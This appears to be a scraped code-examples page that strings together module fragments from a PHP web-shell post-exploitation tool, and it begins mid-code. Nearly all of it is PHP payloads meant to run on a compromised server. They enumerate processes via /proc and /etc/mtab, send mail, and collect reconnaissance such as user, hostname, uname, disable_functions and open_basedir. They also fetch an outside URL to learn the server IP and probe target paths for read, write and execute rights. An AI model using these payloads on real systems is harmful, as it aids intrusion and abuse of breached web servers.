                // check proc
                $procpath = '/proc';
                if (!file_exists('/proc')) {
                    $lines = @explode(PHP_EOL, file_get_contents('/etc/mtab'));

                    if (!$lines) {
                        print('Unable to list processes.' . PHP_EOL);
                        return;
                    }

                    foreach ($lines as $line) {
                        $els = explode(' ', $line);

                        if ($els[0] !== 'proc') continue;

                        $procpath = $els[1];
                    }

                    if ($procpath === '/proc') {
                        print('Unable to list processes.' . PHP_EOL);
                        return;
                    }
                }

                // init uidmap
                $uidmap = new UIDMap();

                $pids = @scandir($procpath);

                $format = '%-8s %5s %5s %5s %-8s %10s %s' . PHP_EOL;
                printf($format, 'UID', 'PID', 'PPID', 'STIME', 'TTY', 'TIME', 'CMD');
                foreach ($pids as $pid) {
                    if (!is_numeric($pid)) continue;

                    $proc = getProcInfo($procpath, $pid);
                    printf($format, $proc['UID'], $proc['PID'], $proc['PPID'], $proc['STIME'], $proc['TTY'], $proc['TIME'], $proc['CMD']);
                }

            }

            main();
        """).run()
Ejemplo n.º 31
0
    def run(self):

        return PhpCode(
            """(mail('${to}', '${subject}', '${message}', 'From: ${sender}') && print(1)) || print(0);""",
            postprocess=lambda x: True if x == '1' else False).run(self.args)
Ejemplo n.º 32
0
    def init(self):

        self.register_info(
            {
                'author': [
                    'Emilio Pinna'
                ],
                'license': 'GPLv3'
            }
        )

        self.register_vectors(
            [
                PhpCode("print(@$_SERVER['DOCUMENT_ROOT']);", 'document_root'),
                PhpCode("@print(getcwd());", 'pwd'),
                PhpCode("print(dirname(__FILE__));", 'script_folder'),
                PhpCode("print(@$_SERVER['SCRIPT_NAME']);", 'script'),
                PhpCode("print(@$_SERVER['PHP_SELF']);", 'php_self'),
                PhpCode("""
                    if(is_callable('posix_getpwuid')&&is_callable('posix_geteuid')) {
                        $u=@posix_getpwuid(@posix_geteuid());
                        if($u){
                            $u=$u['name'];
                        } else {
                            $u=getenv('username');
                        }
                        print($u);
                    }
                """, 'whoami'),
                PhpCode("print(@gethostname());", 'hostname'),
                PhpCode("$v=@ini_get('open_basedir'); if($v) print($v);", 'open_basedir'),
                PhpCode("print(@ini_get('disable_functions'));", 'disable_functions'),
                PhpCode("print(@php_ini_loaded_file());", 'ini_path'),
                PhpCode("print(@sys_get_temp_dir());", 'tmp_path'),
                PhpCode("print(@disk_free_space(__DIR__));", 'free_space',
                        postprocess=lambda x: utils.prettify.format_size(int(x))),
                PhpCode("print(@ini_get('safe_mode') ? 1 : 0);", 'safe_mode',
                        postprocess=lambda x: True if x == '1' else False),
                PhpCode("print(@$_SERVER['SERVER_SOFTWARE']);", 'server_soft'),
                PhpCode("print(@php_uname());", 'uname'),
                PhpCode("print(@php_uname('s') . ' ' . @php_uname('m'));", 'os'),
                PhpCode("print(@$_SERVER['REMOTE_ADDR']);", 'client_ip'),
                PhpCode("print(@file_get_contents('${provider}'));", 'server_ip'),
                PhpCode("print(@$_SERVER['SERVER_NAME']);", 'server_name'),
                PhpCode("print(@ini_get('max_execution_time'));", 'max_execution_time',
                        postprocess=lambda x: int(x) if x and x.isdigit() else False),
                PhpCode("@print(DIRECTORY_SEPARATOR);", 'dir_sep'),
                PhpCode("""
                    $v='';
                    if(function_exists('phpversion')) {
                        $v=phpversion();
                    } elseif(defined('PHP_VERSION')) {
                        $v=PHP_VERSION;
                    } elseif(defined('PHP_VERSION_ID')) {
                        $v=PHP_VERSION_ID;
                    }
                    print($v);
                """, 'php_version')
            ]
        )

        self.register_arguments([
            {'name': '-info',
             'help': 'Select information (possible values are: %s)' % (', '.join(self.vectors.get_names())),
             'choices': self.vectors.get_names(),
             'default': [],
             'nargs': '+',
             'metavar': 'arg'},
            {'name': '-extended',
             'help': 'Get more info. Slower. (extended info: %s)' % (', '.join(self.extended_vectors)),
             'action': 'store_true',
             'default': False},
            {'name': '-provider',
             'help': 'The URL to get server_ip from (default: %s)' % self.default_provider,
             'metavar': 'http://...',
             'default': self.default_provider}
        ])
Ejemplo n.º 33
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        # Declared here since is used by multiple vectors
        payload_perms = """$f='${rpath}';if(@file_exists($f)){print('e');if(@is_readable($f))print('r');if(@is_writable($f))print('w');if(@is_executable($f))print('x');}"""

        self.register_vectors([
            PhpCode(payload_perms,
                    name='exists',
                    postprocess=lambda x: True if 'e' in x else False),
            PhpCode("print(md5_file('${rpath}'));", name="md5"),
            PhpCode(
                payload_perms,
                name="perms",
            ),
            PhpCode(payload_perms,
                    name="readable",
                    postprocess=lambda x: True if 'r' in x else False),
            PhpCode(payload_perms,
                    name="writable",
                    postprocess=lambda x: True if 'w' in x else False),
            PhpCode(payload_perms,
                    name="executable",
                    postprocess=lambda x: True if 'x' in x else False),
            PhpCode("(is_file('${rpath}') && print(1)) || print(0);",
                    name="file",
                    postprocess=lambda x: True if x == '1' else False),
            PhpCode("(is_dir('${rpath}') && print(1)) || print(0);",
                    name="dir",
                    postprocess=lambda x: True if x == '1' else False),
            PhpCode("print(filesize('${rpath}'));",
                    name="size",
                    postprocess=lambda x: int(x)),
            PhpCode("print(filemtime('${rpath}'));",
                    name="time",
                    postprocess=lambda x: int(x)),
            PhpCode("print(filemtime('${rpath}'));",
                    name="datetime",
                    postprocess=lambda x: datetime.datetime.fromtimestamp(
                        float(x)).strftime('%Y-%m-%d %H:%M:%S')),
            PhpCode("print(realpath('${rpath}'));", name="abspath")
        ])

        self.register_arguments([
            {
                'name': 'rpath',
                'help': 'Target path'
            },
            {
                'name': 'check',
                'choices': self.vectors.get_names()
            },
        ])
Ejemplo n.º 34
0
    def init(self):

        self.register_info(
            {
                'author': [
                    'Emilio Pinna'
                ],
                'license': 'GPLv3'
            }
        )

        self.register_vectors(
            [
            PhpCode("print(@$_SERVER['DOCUMENT_ROOT']);", 'document_root'),
            PhpCode("""
                if(is_callable('posix_getpwuid')&&is_callable('posix_geteuid')) {
                    $u=@posix_getpwuid(@posix_geteuid());
                    if($u){
                        $u=$u['name'];
                    } else {
                        $u=getenv('username');
                    }
                    print($u);
                }
            """, 'whoami'),
            PhpCode("print(@gethostname());", 'hostname'),
            PhpCode("@print(getcwd());", 'pwd'),
            PhpCode("$v=@ini_get('open_basedir'); if($v) print($v);", 'open_basedir'),
            PhpCode("(@ini_get('safe_mode') && print(1)) || print(0);", 'safe_mode',
             postprocess = lambda x: True if x=='1' else False
            ),
            PhpCode("print(@$_SERVER['SCRIPT_NAME']);", 'script'),
            PhpCode("print(dirname(__FILE__));", 'script_folder'),
            PhpCode("print(@php_uname());", 'uname'),
            PhpCode("print(@php_uname('s'));", 'os'),
            PhpCode("print(@$_SERVER['REMOTE_ADDR']);", 'client_ip'),
            PhpCode('print(@ini_get("max_execution_time"));', 'max_execution_time',
             postprocess = lambda x: int(x) if x and x.isdigit() else False
            ),
            PhpCode('print(@$_SERVER["PHP_SELF"]);', 'php_self'),
            PhpCode('@print(DIRECTORY_SEPARATOR);', 'dir_sep'),
            PhpCode("""
                $v='';
                if(function_exists('phpversion')) {
                    $v=phpversion();
                } elseif(defined('PHP_VERSION')) {
                    $v=PHP_VERSION;
                } elseif(defined('PHP_VERSION_ID')) {
                    $v=PHP_VERSION_ID;
                }
                print($v);""", 'php_version')
            ]
        )

        self.register_arguments([
          { 'name' : '-info',
            'help' : 'Select information',
            'choices' : self.vectors.get_names(),
            'nargs' : '+' }
        ])